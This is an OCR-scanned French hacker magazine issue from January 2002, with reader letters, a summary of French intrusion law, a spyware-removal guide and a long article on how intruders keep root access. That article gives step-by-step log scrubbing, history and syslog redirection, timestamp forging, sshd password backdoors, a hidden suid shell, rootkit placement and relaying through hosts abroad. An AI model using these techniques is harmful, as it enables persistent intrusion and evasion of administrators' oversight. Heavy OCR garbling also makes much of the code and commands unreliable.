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Tous Fozzy

eut étre parce qu’il en avait marre de vous macher
Ie travail, Fozzy a décidé d i -
===88de pour trouver des failles dans les webmails.
Pourquoi ? Certainement pas pour vous inciter a aller
lire dans leur dos les courriers des petits copains/copines.
Non ! SiFozzy a décidé d’engrainerla population, c’estdans
le but de placer sous la haute surveillance de tous les
lecteurs d’HZV les serveurs webmails qui, a I’en croire, pré-
senteraienta euxtous plus de trous que toutes les fabriques
de gruyeéres de Suisse et de Savoie réunies. Donc, la
consigne : dés que vous trouvez quelque chose, vous
prévenez le service concerné. Et le journal, si vous avez
le temps, ca nous fera toujours plaisir.

A part ¢a ? un détail : Hackerz Vi
le prochain numéro, avec une

des killers. Autant vous prévenir tout de suite : plus
question de rigoler. L’'année 2002 sera placée sous le
lite pure et dure. Quoi ? ah ouais : bonne
année a tous, on attend vos cartes de vceux.

signe de I’é

e vous filer " sa " métho-

oice passe mensuel dés
équipe renforcée. Que

TOMMY LEE

Netogra;hie

o http://www.jeuxenligne.fr.st

o http://www.le-philesophe.fr.st

o http://www.NewsHackers.com

o http://www.paradisihack.fr.st

o http://www.ccim.be/ccim328/vb/
o http://www.hackelpied.fr.fm

o http://www.HackTive-zOne.fr.st
o http://www.hackroh.fr.st

o http://www.hacktive-zone.fr.fm

o http://www.google.com/intl/xx-hacker

o http://www.MacGPlus.fr.st

o http://www.kthack.fr.st

o http://www.hacker-zone.fr.st

o http://www.securent-2000.com
o http://www.hatomes.multimania.com

Le 10 Mars
HZV passe en mensuel !
Bonne année

Lo voix du pirafe inTormafique

AR voice@dmpfrance.com

.. Et voila comment on vous remercie 1!

"Hackersvoice =voleurs, copieurs, détour-
neurs,... " ils vous ont pas epargné ! Mais
moi je le trouve trés bienvotre mag: sympa,
trés “familial", venu du fond de vos ceeurs,
un peu cnmpliqué parfois pour les new-
hies (j'ai pas dis que j'en était un, hein ?!!),
mais c'est tout :{‘a fqui fait sa pamnulan-
téetsonunicité !'! Sivous étiez des voleurs,
vous n'auriez pas tenu longtemps au
grand jour dans le systéme matérialiste dans
fequel nous vivons. Quand a dire que
vous étes des copieurs ou des détour-
neurs d'articles, ceux qui disent cela
n'ont pas lu le mag en entier, sans quoi
ils se seraient rendus compte de leur
hétise : un mag qui se veut libre de toute
emprise, dont I'esprit et le maitre mot
sont I'indépendance etla différence ne peut
étreunmag de copieurs!!!!!! Comme tul'as
dittoi-méme, "lacritique est facile... mais
I'art est difficile ". Et de cela, ils n'ont

Seul contre tous ? Non !

Fallait que je me défoule, que j'exprime
ma hargne : lorsque j'ai lu les débats sur
www.01net.com, j'ai été un peu dégoiité de
voir comment les utilisateurs te harce-
laient !!!! Seul contre tous, c'est pas
trop cool comme position !!! Alors je me suis
dis qu'un peu de soutien, ¢a pouvais que
faire plaisir (moi gui voulais me coucher tat
a cause du boulot, c'est rapé J) 111!

Sur ce, je te salue bien & te dis a bientdt
(moi entout cas, je te lirais dans le prochain
numeéro)

Sparda_007

pas conscience ! L'erreur est humaine,
et il y a eut des erreurs. Mais justement,
c'est de par ces erreurs gue vous prouvez
votre humanité !!!! Vous n'étes pas un de
ces grands mags strictement commerciaux,
sans ame, qui ne se permettent aucunes
erreurs, mais dont le contenu est devenu
insipide avec le temps !!!! Non !!!!! Vous
étesdesauteurs!!! Que dis-je des auteurs ?
Des artistes !!! Que dis-je des artistes ? Des
virtuoses !!! Alors continuez votre mag
tel qu'il est et suivant votre coeur : il est
génial ! Méme sij'ai dumal (pour le mument)
a tout saisir, c comme ca que je I'aime,

David GIFFARD

Tommy Lee: etvoilacomment on nous
remercie :).

T.L.:effectivement il y a parfois beau-
coup de mauvaise foi, nous ne comp-
tons pas forcément, en intervenant
sur des forums, convaincre tout le
monde, ce n’est pas notre but, mais
en voyant exposés nos arguments
et leurs réponses, vous éles assez
grand pour faire la part des choses.
Vous noterez aussi que certains
forums qui sont au départ a ten-
dance anti-hzv changent de cou-
leur (on a pas encore vu le contraire),
d’autres s’efforcent de n’exercer aucu-
ne censure.
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Ce que dit la loi en France

« Lacees et le maintien frauduleux total ou partiel
tans tout ou partie o'un systeme ou dft d'intrusion est puni

par I'article 323-1 d'un
et de 100 000 fra

En France, I'arme principale de I’arsenal juridique
dispenible contre les hackers demeure la loi Godfrain
du 5 janvier 1988 « relative a la fraude informa-
tique «. ce texte prévoir notamment que « I'accés
et le maintien frauduleux total ou partiel dans tout
ou partie d’un systeme ou délit d’intrusion est puni
par I'article 323-1 d’un an d’emprisonnement et de
100 000 francs d” amemfe «. Ce délit est cnnshtue
deslorsque n’importe quelie technigue estemploy
pour accéder frauduleusement a un systéme proté-
gé. Il I'est aussi dans le cas de |'utilisation d’un
code d’accés exact, mais par une personne non
autorisée a l'utiliser.

La loi prévoit aussi que si I'accés ou le maintien
frauduleux dans le systéme entraine la suppres-
sion ou la modification de données, ou méme une
simple altération, méme involontaire ou par mal-
adresse, les peines sont doublées.

an d'emprisonnement,
nes d'amende ».

Lorsque I"action estvolontaire, I'article 323-2 prévoit
3 ans d’emprisonnement et 300 000 francs d’amen-
de. La encore, |a loi texte vise tous les procédés et
toutes les techniques utilisées, méme celles incon-
nues au moment de la rédaction de la loi. Cette
disposition vise aussi la propagation de virus
informatique.

Il faut savoir que la simple tentative, non suivie de
réussite donc, est punie des mémes peines. Enoutre,
les personnes physiques coupables d’un de ces délits
encourent, en plus de la peine principale, des
peines complémentaires énumeérées a l'article
323-5.

Les personnes morales, comme les entreprises ou
les associations, peuvent elies aussi étre décla-
réesresponsables pénalement et encourent les peines
prévues a I'article 131-39 du nouveau code pénal.
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KroSoft, Netscape, 00

LAPE LE SPY

Les .dll esplons

Voici une petite liste de .dll espions a sup-
primer (mais faites une sauvegarde, avouez
que ¢a serais béte d’étre emmerdé par une
application qui en a besoin pour les beaux
yeux de Bilou).

Le .dlla supprimerestadvpack.dll ; cetespion
sauvegarde vos downloads, les pages consul-
tées, et des tas de trucs sur vos connexions.
Et voici les autres :

adimage.dll

advert.dll

amcis.dll

amcis2.dll

amstream.dli

ipeclient.dil

tfde.dll

Le reste mais ils sont aussi curieux les uns
que les autres :

htmdeng.exe

msipcsv.exe

anadsc.ocx

anadscb.ocx

amcompat.tlb

Un autre fichier & supprimer :
Reginfo.txt

Un petit conseil, si vous avez vraiment pas
laconscience tranquille, aprésavoir trouvé les
fichiers ("Démarrer>Rechercher>Fichiers ou
dossiers>1"espion.dll" pour les néophytes), ne
faites pas "click droit>Supprimer" mais "click
droit>PGP>Détruire" : ¢’est plus sur ;)

>
ATTENTION et
0n va maintenant modifier la base de
registre, je vous conseille vivement de
faire une sauvegarde de celle-ci avant
tout. Pour ca faites Démarrer>Exécu-
ter>msinfo32 puis faites dans lanouvelle
fenétre Outils>Vérification du registre.

Le mouchard

Fallait lire hzv SeaX (p.5) hé hé ! Bon
allez je fais un petit résumé les nouveaux.
C’est I’espion qu’il faut virer le plus rapi-
dement possible, en effet il peut étre consul-
té par certains site (tel que le site a Bilou)
et contient que "des truc personnels qui ne
regardent que vous" (belle citation de PROF).
Pour le supprimer, on a 2 solutions :

1) Faites Démarrer>Exécuter et entrez
regsvr32.exe —u ¢:\windows\system\reg-
wize.dll

2) Faites Démarrer>Exécuter>REGEDIT,
allez dans HKEY_LOCAL_MACHI-
NE\Software\Microsoft\Windows\Cur-
rentVersion\, effacez la valeur chaine
HWID, puis allez dans HKEY_CUR-
RENT_USER\Software\Microsoft\Win-
dows\CurrentVersion et effacez la valeur
chaine MSID.

Supprimer son numéro de
série Vindaube 98 (et 98SE)

Pour supprimer son numéro de série, rien
de plus simple : toujours dans notre bonne
vieille base registre (REGEDIT pour ceux qui
ce seraient paumés en cour de route) allez dans
HKEY_LOCAL_MACHINE\Software\Micr
osoft\Windows\CurrentVersion\ProductKey
et remplacez le numéro de série par xxxx-
XXXX-XXXX-XXXX (0u0000-0000.. .c’est pareil,
le but c’est qu’il n’y est plus le serial)

Utlliser Windows Update
sans 8tre enregistré & Vin-
daube

Pour utiliser vindaube update sans étre
enregistré & windobe, nous allons reprendre
notre bonne vieille base de registre (tou-
jours accessible depuis Démarrer>Exécu-
ter>REGEDIT) et allez dans
HKEY_LOCAL_MACHINE\SOFTWA-
RE\Microsoft\Windows\CurrentVersion,
double cliquez sur RegDone et remplacez
0 (ou rien) par 1. Puis allez dans
HKEY_LOCAL_MACHINE\SOFTWA-
RE\Microsoft\Windows\Current Ver-
sion\Welcome\RegWiz et créez un nouvelle
chaine nommeée "@" et de valeur 1

Supprimer le contenu de Docu-
ments du menu Démarrer

Siily a encore un truc pénible sur Windows,
c’est bien I’historique des log, vidéos, pho-
tos, doc. .. derniérementutilisés quis’affichent
dans la rubrique Documents du menu Démar-
rer. Donc voici un bon truc qui efface le
ccontenu de [’historique a chaque fois que
1’on reboote 1’ordi. Pour pas changer les
habitudes, on vadansnotre bon vieux REGEDIT
et dans HKEY_CURRENT_USER\
Software\Microsoft\Windows\CurrentVer-
sion\Policies\Explorereton créée une nouvelle
chaine nommée ClearRecentDocsOnExit de
valeur 01 00 00 00.

Bug Brothe est méme
tlans fon icy. . .

Décidément onne peutméme pas faire confian-
ce & notre log préféré de messagerie (bour-
ré de failles mais ¢’est pour ¢a qu’on ’aime
d’ailleurs) ? Il vabien falloir se mettre gadans
la téte : big brother est partout ! Mais on
va remédier au probléme grice a notre
bonne vieille base de registre. Entrez dans
la base de registre de votre OS préféré
(non laj’exagere) en faisant Démarrer>Exé-
cuter>REGEDIT pourles incultes. Puis allez
dans le répertoire suivant : HKEY_CUR-
RENT_USER\Software\Mirabilis\[cq\Default
Prefs puis double cliquez sur la ligne AUTO
UPDATE et remplacez la valeur Yes par la
valeur No. Il n’y a plus qu’a fermer la base
de registre et a rebooter.

Netscape

Netscape aussi vous espionne. "A chaque
chargement d'une page, votre butineur
peut vous donner une liste de "sites asso-
ciés " encliquantsur lebouton " What's Rela-
ted" a droite, au dessus de la page affichée.
En fait, parallélement au chargement de la
page Html, Communicator envoie l'adresse
de cette page au serveur de Netscape qui
lui renvote cette liste de" sites associés”.

Netscape peut ainsi savoir tout ce que
vous visitez, des sites les plus anodins comme
les plus sulfureux. Dans certaines conditions,
Netscape pourraainsi mémoriser, mieux que
vous ne le faites, toutes vos balades sur la
toile. Vous serez alors parfaitement "profi-
1és". "(source : solest.com). Les utilisa-
teurs de la version 4.5 (qui commence a dater)
étaient espionnés mais les versions supé-
rieures qui possédent le bouton "What's Rela-
ted" seraient aussi concernées.

Poury remédier allez dans Préférences, Navi-
gator puis Smart browsing et décochez "Enable
What'’s Related".

Les Spywares

On vamaintenant voir comment virer ces log
espions qui se cachent dans (presque) tous
les freewares, ou se téléchargent depuis
les régies de pub.

Je pense que c’est pas la peine de vous
dire comment virer les cookies alors je
passe

n

s

Le cas Auréate

Le plus répandu des espiogiciels est auréa-
te mais ne vous prenez pas la téte : il est
partout dans votre ordi | hé hé ! Pour le
virer utilisez un log anti-spyware tel que
ad-aware qui vous le trouvera et le détrui-
ra en Ssec.

Supprimer Sydor

Méme chose qu' auréate en moins connu .
Pour le virer, vous devez supprimer les fichiers
suivants :

CAWINDOWS\SY STEM\CD_CLINT.DLL
C:\WINDOWS\SYSTEM\CD: GIEDLL
C:A\WINDOWS\SYSTEM\CR-=OAD.EXE
C\WINDOWS\SYSTEM\CD_SHELL.DLL
puis le répertoire ADCACHE qui se trou-
ve dans C:\WINDOWS\SY STEM\. Puis sup-
primez, dans la base de registre, les lignes
HKEY_CURRENT_USER\Software\
Contact Plus Corporation\Task\Options
HKEY_CURRENT_USER\Software\
Cydoor Services\Status\ HKEY_CUR-
RENT_USER\Software\Cydoor\

TSAdBot

Méme chose que les spy précédants.
Pour le virer allez dans Démarrer>Exécu-
ter>msconfig, allez dans I’onglet Démar-
rer et décochez la case qui correspond a la
ligne detsAdbot.exe et notez laligne ducom-
mande du prog. Il suffit alors de rebooter,
de chercher la ligne de commande notée et
de la renommer.

Toujours la méme utilité que les autres.
Pour le supprimer les fichiers suivants :
NetSonic.w3k, w3knet_w31.dll, w3knetde-
mo.ini, w3knet2.num et wiknet.dll. Si
vous n’arrivez pas a supprimer w3knet.dll
supprimez le avec un log tel que PGP avec
sa fonction "détruire”

Les régles publicitaires

Les régies publicitaires ont la facheuse
habitude de communiquer beaucoup d’in-
fos sur nous tous. Le reméde est de se "désa-
bonner" (sisi!) de ces régies depuis I’adresse
http://www.networkadvertising.org/optout no
nppii.asp et de choisir les régies auxquelles
on veut se "désabonner”.

Etvoilou vous serez maintenant un peumoins ,
espionné.

Passhetrieve_00
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COMMENT DES PIRATES SE GAGH

Un systeme seécure a 100% ? dans v

Cetarticle apour butde vous expliquer com-
ment font les pirates pour se garder un
petitcoin au chaud sur votre machine une fois
le root gagné. Son but est a la fois éducatif
et préventif, et je ne suis absolument pas
responsable des conneries que vous pourriez
étre tentés de faire a la suite de la lecture
de ce papier. Si vous allez en taule, c'est
de votre faute, celle d'unc enfance mal-
heureuse avec parents alcooliques, meére pros-
tituée et petite sceur en pension chez les
Tenardier. Bref, pas la peine de venir vous
plaindre. Ceci étant clair, on va enfin pou-
voir passer aux choses intéressantes.

Pour comprendre ce que font les pirates, il
fautse mettre dans leur téte, tout commeils cher-
chent & anticiper les réactions des administra-
teurs systémes. Nous allons donc chercher a
nous mettre 4 la place d'un pirate qui vient de
gagner un shell root sur votre machine Unix
(c’est-a-dire qu’il peut entrer des commandes
avec les dgo1ts maximums de I’administra-
teur et qu’il contrdle tout votre systéme !).
Que faire une fois le root obtenu ? Ben,
dans un premier temps, ne pas se faire
chopper, parce que ¢a, c'est vraiment pas cool,
et que justement, quand on est bon, on
passe inapergu. Ensuite, pouvoir revenir, ¢'est
pas idiot non plus dans un sens ; il va donc
falloir se ménager une porte de sortie. Enfin,
il va falloir se montrer le plus discret possible
quand on revient, parce que, si on roote
des machines, c'est pour les utiliser. Et ¢a
marche : on m'a raconté I'histoire d'un
gars qui s'était fait hacker et le pirate avait
mis l'intégrale des Cités d'Or en divx (13
cds quand méme) aunezeta labarbe du gars,
quis'intéressait pourtantala sécurité. Le gars
ne s'est apergu de rien, sauf peut-étre d'une
grosse claque dans sa note de net cable.
En clair, vaut mieux étre parano, ¢a évite
de se faire mettre sur la paille.

W Effacer ses traces :

La premiére chose que fait le pirate une
fois son shell obtenu, c'est un :

sh-2.058 touch fmp/test

C'est un fichier qui permettra de voir quels
sont les fichiers qui ont été modifiés aprés
I’intrusion, en comparant la date de der-
niére modification. Pour cela, on fera :
§01-2.058 find / -newer /tmy/check -arint

Le pirate va ensuite s'efforcer de nettoyer
les logs du systéme. Pas tout, bien sir,
sinon c'esttrop flagrant. Juste ce qui le concer-
ne, mais en donnant 'impression qu'ils
n'ont pas été modifiés. Comme ¢a, pas vu,
pas pris. Il existe en général trois types de
logs : les syslogs qui notent les messages
envoyés au root par le systéme, le lastlog,
et les historiques.

1-les sysiags : ce sont les messages envoyés par

le systéme. 11 en existe plusieurs catégo-
ries, méme si tous ne sont pas actifs par défaut

HACERZ VOICE/JANVIER 2002

(souvent d'ailleurs les plus importants sont
désactivés par défaut... Y'a des jours ou je
ne comprends pas). I1s sont en général
stockésdans : /var/log/, /vat/adm/ ou fust/adm/.
Les principales catégories sont:

auth* et auth-priv* : ils concernent les
procédures d'identification surle systéme. Ils
sontbienentendus asurveiller de tres trés prés.
cron® : ce sont les messages lancés par la
crontab au systéme. Ils risquent de nous
&tre trés utiles un peu plus tard.

daemon* : ce sont les messages lancés
parles daemons installés surlamachine. Clest-
a-dire par ]'utilisateur daemon.

kern* : ce sont les messages lancés par le ker-
nel. Ils nous serviront si le pirate commen-
ce a faire mumuse avec la mémoire kernel.
Ipr* : les messages envoyés par le daemon
d'impression. Ils peuvent étre annoncia-
teurs de la pire catastrophe qui puisse arri-
ver & un pirate : I'impression des logs sur
imprimante réseau en temps réel. hé hé...
mail* : les messages envoyés par les serveurs
de mail, pop3 et smtp.

syslog* : ce sont les messages envoyés par
lesystémeen général. Ils peuvent étre tres variés.
1l faudra les surveiller de trés prés eux aussi.

Un hacker normalement constitué va main-
tenant vérifier ol ces logs sont envoyés avant
d'effacer ses traces. Imaginons que nous
fassions une attaque depuis une machine dont :
- le nom de domaine est toto.com,

-etl'ip 42.42.42.42.

$11-2.058 cal /etc/syslog.cont

shi-2.058 cat log | grep -v toto.com | grep -v 42.42.42.42
> lolo

sh-2.058 cat tofo > log

82,055 rm tolo

Bon, gay est, nos traces dans Ies logs systéme
sont effacées, mais ce n'est pas terming,
loinde 1a. On vamaintenant, le temps de finir
notre petite cuisine et de nous installer
vraiment confortablement, rediriger les
logs du systéme dans un endroit magique
oupersonnene pourtales retrouver. D'abord,
noter la date et I'heure du dernier changement
de syslog.conf.

81-2.05$ cp /syslog.conf tolo

s11-2.058 emacs syslog.conf

Etla, on vatoutrediriger vers un endroit dont
personne n'est jamais revenu : /ievill. Déja
essayé de revenir du néant vous ? Puis :
$i1-2.05$ killall -HUP syslogd

Juste penser a tout remettre en place avant
de repartir :

$1-2.058 mv toto syslog.cont

$h-2.058 touch -t yyyymmiddhiimen.ss sysiog.conf

Etvoila. Pas besoin de changerla date de det-
niére modification des logs, ¢a ferait
louche, carils sont modifiés en permanence.

2-lglastiog : ¢'est plus dur pour le pirate car il
n'existe pas de moyen réellement simple
de le modifier. Lastlog enregistre la der-
niere connexion de chaque utilisateuravecle
portetl'adresse depuis lesquels il s'est connec-

Dans un texte traitant du

"La différence entre un hacker et un merdeux, c'est que le hact
que le merdeux le perd au bout d'une semaine, un mois si l'adm
piler, lancer son exploit et il connait quelques command

té. Probléme : le fichier de log est un binai-
re, donc pas possible de I'éditer avec les outils
standard d’Unix. Le truc qui est utilisé consis-
te a serelogger depuis lamachine locale pour
faire disparaitre la connexion distante.
bash-2.05# rlogin rool@localhost

C'est tout béte non ? Et pourtant c'est
imparable.

Dans le méme style, umtmp et wtmp : ce
sont deux fichiers sur le modele de syslog
qui enregistrent toutes les connexions. Et pas
possibledeles modifieralamaincarcesontdes
binaires. S’ilexiste des programmes permettant
de les modifier automatiquement, ils ne sont
souvent pas fiables & 100% car ils laissent
des traces sur le systéme. Le pirate utilisera
de préférence Marryvll.c ou Zap.c, tous
deux disponibles surGoogle, votremeilleurami.
Une recherche rapide vous donnera aussi les
noms des programmes capables de repérer
les modifications apportées & ces logs.

3 - les historiques : ce sont des fichiers qui enre-

gistrent toutes vos commandes shell. Pas a

but délatoire mais pour vous permettre de

reproduire des lignes déja tapées auparavant,

justeavec les fleches de direction. Seulement,

le pirate ne tient pas a ce qu'on sache exac-

tementTOUT ce qu'il a fait depuis son entrée

sur la machine. Chaque shell possede un

fichier d'historique qui se trouve dans le réper-

toire de travail de son utilisateur

- sh: .sh_history

- csh: history

- ksh: .sh_history

- bash: .bash_history

- zsh: history

- tesh: history

Pour le pirate, premiére chosea faire une fois
loggué : changer de shell pour effacer
I'historique du shell précédent. J'ai une

préférence pour tesh, autant pour sa puissance
que pour une petite astuce qui permet de bypas-

ser les problémes d'historique. Dans 90% des

cas, votre shell de log sera sh. Regardons
sile ficher .tcshre existe dans le répertoire de

travail, si oui, notons I'heure de sa dernié-

re modification, puis :

si-2.058 mv .teshee tolo

8i1-2.058 echo “set histfile = /devimull" > Acshre

$h-2.058 tosh

Maintenant, I'historique est redirigé vers

/dev/null. Tl nereste plus qu'la effacer du fichier
.sh_history tout ce qu’on a fait depuis

notre arrivée. Puis, juste avant de partir, nous

faisons la manip inverse :

roci@hacked~> mv.toto. tcshee (ourm. toshre si vous venez

e e creer).

root@backet~> touch -1 yyyymmddhhmm.ss .cshrc avec
I'ieure a laquelle i a ete cree.
rool@hacled~> iogou (¢ as el LOSLLT)

Tout ¢a va permettre au pirate de ne pas
laisser de traces de ses activités sur le sys-
téme. En effet, si on ne sait pas précisé-
ment ce qu'il a fait, une seule solution :
réinstaller tout le systéme, et virer TOUS
les binaires car si ¢a se trouve, il a trans-
formé la forteresse dont vous étiez si fier
en un infime gruyére (on appelle ¢a une
passoireware(c), la distrib des héros).

On va maintenant s'intéresser a des outils
de plus en plus répandus : les IDS (Intru-
sion Detection System) et autres programmes
d'audit de sécurité. Leur danger va de
génanta franchement catastrophique pourle
pirate (et pour I’admin, car ils sont parfois
backdoorés !). Eneffet, ces programmes log-
gent toutes les tentatives de connexion, les
attaques, avec une base de données, et,
plus généralement, tout ce qui est fait sur
le systéme. Leurs noms sont snort, prelu-
de, tripwire... I faut différencier les IDS
qui analysent le trafic réseau et ceux qui inter-
viennent au niveau du systéme.

Remettons nous dans la peau du pirate. On
va d'abord regarder s’il y a un IDS actif sur
lamachine, enallant faire un tour dans lacron-
tab et en regardant les processus actifs :
rool@hacked~> cat /var/spool/crof/

root@hacked~> crontah -| root

rooi@hacked~> s aux

Une fois I'[DS trouvé, on va aller jeter un
ceil dans ses fichiers de conf pour voir ot
illoggue, etsi onpeut le stopper tranquillement
poureffacerlesfichiers delog. Celadit,sion
s’apergoit que les logs sont redirigés vers une
imprimante ou autre média non ré¢inscrip-
tible, nous ne pouvons toucher A RIEN :
en effet, c'est du log en temps réel et dans
ce cas, modifier ne serait-ce qu'un infime
fichier sur lamachine peut entrainer des peines
trés graves. Dans ce cas, on s'en va discre-
tement sans toucher a rien (ni fichiers logs
ni rien) et on prie trés fort pour que l'ad-
minse contente de boucher la failleetne porte
pas plainte.

M Garder un shell sl durement
acquis:

Une fois assuré que I'admin ne va rien voir
(gan’estjamais totalement siir), le pirate avisé
va vouloir se ménager une backdoor (accés
caché), histoire de pouvoir revenir. La, ¢a
va étre une histoire a la fois de goit, d'ad-
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ime sujet, Sauron disait :

chope un root et le garde aussi longtemps qu'il le désire, alors
ne fait pas gaffe, pas plus. Le merdeux utilise Linux, il sait com-
shell, e hacker lui maitrise le systéme sur lequel il est.”

min etde moyens. Les rootkits sont des paquets
déja tout préparés de backdoors et d’outils
permettant de se cacher, & disposition des
script-kiddies sur Internet. .. Heureusement,
des programmes détectant ces packages sont
aussi téléchargeables ! (voir http://pac-
ketstorm.linuxsecurity.org par exemple).

Les backdoors systéme : cc sont sans
aucun doute les plus efficaces, méme si
elles commencent a étre un peuobsolétes face
a 'arrivée de certains outils qui les détec-
tenta 100%. Le principe en est assez simple :
chaque commande exécutée dans l'espace uti-
lisateur correspond & un ou plusicurs appels
systéme dans l'espace du noyau. Si on cache
les appels a ces syscalls, c'est dans la poche.
En général, ils patchent un service pour
pouvoir revenir (style le sshd). Ils sont inté-
ressants, mais nécessitent de charger un modu-
le supplémentaire enmémoire, ce qui peut étre
détecté, et il existe d'ailleurs maintenant de
nombreuses maniéres de les détecter. Celadit,
ils sontrelativement efficaces carils permettent
4 la fois de couvrir ses traces et de ménager
une backdoor. Un des plus connus est le
Rootkit TOrn, qui en est aujourd'hui a sa
version 8. Le pirate I'installera au fin fond
dusystéme, dans unrépertoire olipersonnene
va jamais tellement c'est obscur, style
/usr/local/man/man8/.

TOrn se présente sous forme de binaires, ce
qui évite le processus de compilation, qui
n'estpas franchement discret. Processus qui fait
perdre du temps au pirate et qui n’est pas
toujours possible si I’admin a intelligemment
supprimé tout compilateur de sa machine.

On pourra ensuite penser 4 une backdoor
logicielle. Lidée de base consiste a pat-
cher le sshd, le login ou le telnetd (ou tout
autre programme du méme style) puis a le
recompiler et 4 remplacer l'original par le
nétre (prétez attention au numero de ver-
sion...). La procédure est assez simple car
ces daemons sont tous codés sur le méme
principe : il existe une routine qui va aller
vérifier si le login et le pass matchent,
avant de mettre un flag a 1, si c'est bon, et
a0 sions'estplanté. I1 suffit, juste avant cette
routine, de rajouter une vérification disant
que si une certaine chaine a été entrée
pour le pass, on met le flag 4 1 et on saute
la routine de vérification (le flag est tou-
jours initialisé a 0). Cela permet une back-
door relativement discréte, ¢t on peut
méme s'amuser a patcher tous les binaires un
parun pour créer la passoireware(c), une dis-
trib' d'un nouveau genre.

Untruc quiarrive trés souvent, entoutcas, beau-
coupplusqu'onnelecroitetquiestun vraifléau,
imaginez : je suis utilisateur d'un réseau
(style ma fac), je viens voir le root pour un
probléme de compte, et 1a, oh surprise ! il
estparti pisser(nerigolezpas, caarrive tréstrés
souvent ce genre de choses). Pas le temps de
télécharger une backdoor, de la compiler
etc... Une seule solution (crade, maisil y apire):

'

* tas fois fat faire vite
|

#inchle <stieh>
#inchele <sys/typesh>
#¥inchede <unistd.h>

i(llllﬂl()

root@hacked~> goc Backisor.c -8 backieor
root@hacked~> minkp “/usr/local/men/manl/. "
root@hacked~> my backdeer "/usr/local/man/mant/.
rl

rool@hacked~> rm backdoor *
rool@hacked~ > chmod 4005 " fusr/local/man/man1/, /back-
wl

root@hacked~> chown usergroup “/isn/local/man/mant .

r
Foot@hacked~> chmod 700 “/usrlocalmanmanl/. [

J'ai testé ¢a chez un pote pendant qu'il
était parti pisser, j'étais donc assez speed
car il pouvait revenir n'importe quand, et
¢am'apris, tout compris, Imn47s. Notezque
sur OpenBSD, dés qu'un programme regoit
le bit suid, un mail est envoyé au root ;).
Aupassage, je vous rappelle que le propriétaire
delamachine doit étre consentant si vous uti-
lisez ¢a (dans le cadre d’un audit par ex
tout est permis !), sinon ce sont les mémes
peines que pour une intrusion.

Je finirai enfin la liste des backdoors par
un truc franchement hyper ultra crade
mais que j’ai vu faire, qui est utile au pira-
te a l'arraché qui pense revenir pour faire
un travail un peu plus propre dans la nuit :
rool@hacked~> rm

Tool@hacked~> cp /hactor /bin/aslogin

A

(
o

C'est tout béte, mais ¢a marche (souvent) :
certains systémes redirigent des utilisa-
teurs comme anonymous ou ftp vers /bin/nolo-
gin plutdt que de laisser un blanc dans
fetc/passwd. 11 suffit juste de mettre un sh
setuseridbite, ou encore la backdoor vue
un peu plus haut, pour faire une backdoor,
certes crade, mais utilisable.

De toute maniére, j'ai remarqué que 75%
des administrateurs systéme ¢taient des
tanches. Faites comme moi, soyez parano
et faites partie des 25% restants, ceux qui
regardent réguliérement leurs logs, changent
leur passphrase de 75 caracteéres toutes les
semaines et installent chkrootkit pour étre
a peu pres siirs de pas se faire avoir.

B Revenir discrdétement :

Unbon pirate ne reviendra jamais sur les lieux
du crime depuis son propre compte. L'idéal
pour lui est de le faire depuis une machine hote
avec le compte de quelqu'un d'autre. En
effet, méme s’il a le root sur cette machine,
c'est toujours plus discret de faire quelque
choseentantque simple utilisateur. Il prendra
de préférence une machine se trouvant dans
un désert législatif, comme .ro, .co.zaouenco-
re.cz. Ainsi, ilne pourra que difficilement Etre
poursuivi en cas de probléme. Sur la machi-
ne distante, il prend tout de méme quelques
précautions, histoire de ne pas se faire prendre
bétement par I'owner du compte utilisé. S’il

SERVEUR. . .

peut utiliser deux machines intermédiaires,
il n’hésite pas, surtout si elles sont distantes
de 5000 kilométres. Cela nous donne :

manaching--> pigesn1.com--> pigeonz.com-->Victime.com

Ensuite, il encrypte toujours tout au maxi-
mum (c’est valable pour les admin comme
pour les pirates...). Il existe aujourd'hui
des encrypteurs elf qui permettent de
cacher des applications, avec unalgo de cryp-
tage de 256 bits. Il crypte tout ce qu’il uti-
lise sur sa machine et qui peut se montrer
dangereux. N'hésitez pas a encrypter votre
partition home avec des outils comme
cryptoapi (http://freshmeat.net).

Enfin, utilisez toujours des systémes de
transmission sécurisée : ssh est le minimum,
car les données passent en crypté, et on ne
peutdonc pasles sniffer. Celapeutétre fortutile
si un plaisantin a rooté le routeur juste a c6té
de chez vous... On ne sait jamais. Cela dit,
ne faites pas confiance & ssh 4 100% car il
existeuncattaque, dite du "monkeysi the midd-
le", qui permet d'intercepter les communica-
tions. Le bon administrateur systeme utilisera
systématiquementssh, mais sesouviendratou-
joursqu'un systéme securea 100% n'existe pas.
Voila, ce sera tout pour cette fois, et n'oubliez
jamais: "Ce n'est pas parce que vous n'éies
pas paranoiaque que cela signifie que tout le
monde n'est pas contre vous..."

,
Tol mol et les autres

Atomes est uf{ logiciel basé sur le pes

PEER2PEER ANONYME

LE CONGEPT D'ATOMES : GRATOS, EFFICACE, SYMPA

peer, 'est-3-dire 'un individu A un autre, La plupart
passent par des serveurs fixes ce qui ne rend pas la connexion anonyme.

En effet, ces serveurs peuvent aussi bien enregistrer ce que vous communiquez a vos
amis. D’ autres veulent étre tellement anonyme qu’ils en deviennent d*une lenteur incroyable
et d’un usage laborieux, comme le systéme FreeNet.

Ainsi est né le concept ' ATOMES. Nous l'avons basé sur un "peer2peer" anonyme,
¢’est-a-dire sans aucun serveur fixe. Nous vous fournissons le serveuretle client, vous n'avez
plus qu'a vous connecter.sur I'IP du serveur de votre ami pour communiquer. A la base,
ce logiciel avait été congu pour donner des cours par correspondance sur un systéme
"prof/éleves”. Pour I'instant, la version actuelle ne permet pas encore ce pourquoi il a été
pensé mais il peut d'ores et déja permettre une communication entre deux personnes.
Nous avons aussi rajouté un module IRC qui permettra de vous rejoindre a plusieurs. Le
systéme est lui aussibasé sur le "peer2peer" anonyme. Pour finir, Osiris, notre codeur, a ins¢-
ré un navigateur qui, pour l'instant, ne posséde que peu de fonction mais qui sera agré-
menté au fil des versions. Il a ajouté, par la méme occasion un mailer vous permettant
ainsi d'envoyer des messages a vos amis. Lui aussi se verra amélioré avec I'envoi de
piéces jointes dans les prochaines versions.

En espérant que ce logiciel vous plaise autant qu'a nous, n'hésitez pas 4 nous faire part de
vos commentaires etidées nous permettant ainsi d'améliorer le logiciel par rapport a vosbesgins.

HACKRON 0SS~
Q filg:/ones.rlinaie o
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__Safety

Paradoxe : utiliser Internet com

Internet underprotect

Il est assez désagréable pour
un pirate, méme chevronné,
de se prendre, par accident
ou pas, un virus et de voir
une partie de ses données
endommagees. Je vais donc
vous présenter dans cet
article quelques moyens,
grace a Internet, pour vous
protéger assez efficacement
contre les derniers virus
connus et voire, s'en débar-
rasser.

